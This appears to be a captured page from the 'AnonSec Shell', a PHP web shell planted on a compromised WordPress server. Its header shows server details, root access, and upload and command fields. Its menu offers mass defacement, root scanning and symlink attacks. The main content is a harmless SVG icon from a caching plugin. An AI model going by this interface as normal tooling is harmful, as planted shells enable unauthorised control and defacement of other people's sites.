AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 18.226.177.12   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/litespeed-cache/assets/img/icons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/litespeed-cache/assets/img/icons/expired_transient.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M62.406,13.464c-0.043-0.11-0.104-0.216-0.195-0.303L52.215,3.56c-0.026-0.026-0.062-0.038-0.092-0.059
		c-0.057-0.041-0.109-0.085-0.177-0.111c-0.064-0.026-0.136-0.032-0.204-0.042c-0.035-0.004-0.067-0.021-0.104-0.021h-0.017H51.62
		H15.233c-1.502,0-2.724,1.222-2.724,2.723v63.723c0,1.501,1.222,2.723,2.724,2.723h44.535c1.501,0,2.723-1.222,2.723-2.723V13.818
		C62.491,13.69,62.458,13.573,62.406,13.464z M52.471,6.117l7.151,6.868h-7.041c-0.062,0-0.11-0.049-0.11-0.112V6.117z
		 M60.825,69.773c0,0.582-0.475,1.056-1.057,1.056H15.233c-0.583,0-1.057-0.474-1.057-1.056V6.05c0-0.583,0.474-1.057,1.057-1.057
		h35.571v7.879c0,0.98,0.798,1.778,1.776,1.778h8.244V69.773z"/>
	<path fill="#6699CC" d="M48.729,51.256c0-0.625-0.237-1.467-1.205-2.305c-1.33-2.633-2.331-4.074-4.078-6.423
		c-0.821-1.105-1.484-1.938-2.035-2.611c0.551-0.672,1.21-1.505,2.035-2.613c2.146-2.881,3.215-4.476,5.181-8.708
		c0.103-0.222,0.098-0.472,0.002-0.686c0-0.006,0.002-0.012,0.002-0.018c0-3.198-9.991-3.292-11.13-3.292
		s-11.129,0.092-11.129,3.292c0,0.004,0.001,0.008,0.001,0.011c-0.097,0.217-0.103,0.468,0,0.691
		c1.964,4.232,3.034,5.828,5.178,8.709c0.819,1.102,1.481,1.935,2.037,2.611c-0.553,0.675-1.215,1.51-2.037,2.612
		c-1.747,2.35-2.747,3.791-4.079,6.427c-0.961,0.834-1.202,1.675-1.202,2.301c0,0.1,0.022,0.193,0.034,0.291
		c-0.004,0.089,0.006,0.177,0.03,0.261c0.628,2.83,6.047,4.35,11.167,4.35c5.116,0,10.532-1.518,11.165-4.345
		c0.026-0.091,0.039-0.184,0.033-0.279C48.709,51.44,48.729,51.351,48.729,51.256z M41.804,49.128
		c-1.129,1.13-2.541,1.291-4.304,1.291s-3.12-0.108-4.303-1.291c0.818-1.763,1.247-2.388,2.112-3.55
		c0.865-1.164,1.309-1.616,2.19-2.693c0.88,1.077,1.325,1.529,2.189,2.693C40.555,46.742,40.983,47.366,41.804,49.128z
		 M32.099,50.228c1.612,1.611,3.474,1.746,5.401,1.746c1.769,0,3.79-0.135,5.4-1.746c0.395-0.395,0.524-0.96,0.387-1.486
		c0.854,0.238,1.614,0.524,2.225,0.852c0.263,0.142,0.489,0.289,0.69,0.438c0.21,0.421,0.428,0.87,0.66,1.365
		c-2.329,2.055-5.235,2.472-9.362,2.472c-3.839,0-6.8-0.185-9.363-2.47c0.233-0.497,0.452-0.946,0.663-1.37
		c0.21-0.155,0.453-0.31,0.732-0.456c0,0,0-0.001,0.001-0.001s0,0,0,0c0.6-0.316,1.345-0.594,2.18-0.827
		C31.576,49.268,31.706,49.833,32.099,50.228z M46.795,27.78c-3.325,1.332-5.402,1.703-9.295,1.703c-3.892,0-5.968-0.37-9.293-1.702
		c0.833-0.623,4.14-1.513,9.294-1.513C42.653,26.267,45.96,27.156,46.795,27.78z M32.887,43.522c1.029-1.38,1.801-2.328,2.421-3.073
		c0.257-0.31,0.257-0.758,0-1.066c-0.622-0.747-1.396-1.698-2.421-3.074c-1.672-2.246-2.638-3.645-3.91-6.153
		c3.044,0.983,7.762,1.026,8.523,1.026s5.476-0.043,8.52-1.025c-1.271,2.509-2.238,3.907-3.911,6.153
		c-1.033,1.388-1.803,2.333-2.42,3.073c-0.257,0.309-0.257,0.757,0,1.066c0.619,0.741,1.391,1.688,2.42,3.073
		c1.122,1.507,1.924,2.636,2.714,3.963c-0.712-0.258-1.497-0.481-2.347-0.656l0,0h-0.004c-0.002,0-0.002-0.001-0.004-0.001
		c0,0,0,0-0.001,0l-0.093-0.02c-0.437-0.782-0.845-1.358-1.438-2.157c-0.606-0.814-1.013-1.292-1.482-1.849
		c-0.225-0.266-0.465-0.548-0.753-0.901c-0.589-0.72-1.814-0.72-2.405,0c-0.289,0.354-0.53,0.64-0.754,0.903
		c-0.469,0.557-0.874,1.034-1.479,1.847c-0.595,0.801-1.002,1.375-1.438,2.157c-0.89,0.179-1.711,0.409-2.452,0.679
		C30.963,46.158,31.766,45.031,32.887,43.522z"/>
</g>
</svg>

Anon7 - 2022
AnonSec Team